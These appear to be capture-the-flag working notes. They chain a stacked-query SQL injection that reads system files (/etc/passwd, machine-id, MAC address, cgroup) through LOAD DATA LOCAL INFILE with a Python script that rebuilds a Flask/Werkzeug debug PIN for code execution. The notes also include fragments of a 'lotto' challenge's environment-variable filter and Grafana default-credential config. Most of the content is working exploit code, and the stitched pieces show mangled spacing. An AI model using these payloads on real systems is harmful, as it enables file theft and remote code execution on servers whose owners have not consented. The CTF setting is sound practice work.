http://an:5002/view?note_id=47zoj6lpuyr984tutahobu6zltm78ey7';-- + %0a create table wanan ( text VARCHAR(160) ); LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE ctf.wanan;-- +
http://an:5002/view?note_id=47zoj6lpuyr984tutahobu6zltm78ey7';-- + %0a create table wana ( text VARCHAR(160) ); LOAD DATA LOCAL INFILE '/sys/class/net/eth0/address' INTO TABLE ctf.wana;-- +
+-------------------+ | text | +-------------------+ | 02:42:ac:13:00:03 | +-------------------+
http://an:5002/view?note_id=47zoj6lpuyr984tutahobu6zltm78ey7';-- + %0a create table wan ( text VARCHAR(160) ); LOAD DATA LOCAL INFILE '/proc/sys/kernel/random/boot_id' INTO TABLE ctf.wan;-- +
+--------------------------------------+ | text | +--------------------------------------+ | 086262fd-71b2-4558-907d-ec453e8fdc85 | +--------------------------------------+
http://an:5002/view?note_id=47zoj6lpuyr984tutahobu6zltm78ey7';-- + %0a create table qq ( text VARCHAR(160) ); LOAD DATA LOCAL INFILE '/proc/self/cgroup' INTO TABLE ctf.qq;-- +
http://an:5002/view?note_id=47zoj6lpuyr984tutahobu6zltm78ey7';-- + %0a create table w ( text VARCHAR(160) ); LOAD DATA LOCAL INFILE '/etc/machine-id' INTO TABLE ctf.w;-- +
+----------------------------------+ | text | +----------------------------------+ | 96cec10d3d9307792745ec3b85c89620 | +----------------------------------+
import hashlib import getpass from flask import Flask from itertools import chain import sys import uuid import typing as t username='ctf'#/etc/passwd app = Flask(__name__) modname= getattr(app, "__module__", t.cast(object, app).__class__.__module__) mod=sys.modules.get(modname) mod = getattr(mod, "__file__", None)
probably_public_bits = [ username, #用户名 modname, #一般固定为flask.app getattr(app, "__name__", app.__class__.__name__), #固定,一般为Flask '/usr/local/lib/python3.8/site-packages/flask/app.py', #主程序(app.py)运行的绝对路径 ] print(probably_public_bits) mac ='02:42:ac:17:00:03'.replace(':','')#/sys/class/net/eth0/address mac=str(int(mac,base=16)) private_bits = [ mac,#mac地址十进制 "96cec10d3d9307792745ec3b85c89620b7d47377cd5fe8841102097f38484ee4e70511054969839a46ecfa713b288818"#/etc/machine-id/proc/self/cgroup ] print(private_bits) h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue ifisinstance(bit, str): bit = bit.encode("utf-8") h.update(bit) h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't # end up with the same value and generate out 9 digits h.update(b"pinsalt") num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if # we don't have a result yet. rv=None if rv is None: for group_size in 5, 4, 3: iflen(num) % group_size == 0: rv = "-".join( num[x : x + group_size].rjust(group_size, "0") for x in range(0, len(num), group_size) ) break else: rv = num
print(rv)
lotto
from flask import Flask, render_template, request import secrets import os
app = Flask(__name__, static_url_path='')
defsafe_check(s): # 安全检查将常见的环境变量全部都过滤了 if'LD'in s or'HTTP'in s or'BASH'in s or'ENV'in s or'PROXY'in s or'PS'in s: returnFalse returnTrue
alertlistannolist grafana-azure-monitor-datasource barchart bargauge cloudwatch dashlist elasticsearch gauge geomap gettingstarted stackdriver graph graphite heatmap histogram influxdb jaeger logs loki mssql mysql news nodeGraph opentsdb piechart pluginlist postgres prometheus stat state-timeline status-history table table-old tempo testdata text timeseries welcome zipkin
#################################### Database #################################### [database] # You can configure the database connection by specifying type, host, name, user and password # as separate properties or as on string using the url properties.
# Either "mysql", "postgres" or "sqlite3", it's your choice ;type = sqlite3 ;host = 127.0.0.1:3306 ;name = grafana ;user = root # If the password contains # or ; you have to wrap it with triple quotes. Ex """#password;""" ;password =
#################################### Security #################################### [security] # disable creation of admin user on first start of grafana ;disable_initial_admin_creation = false
# default admin user, created on startup ;admin_user = admin
# default admin password, can be changed before first start of grafana, or in profile settings ;admin_password = admin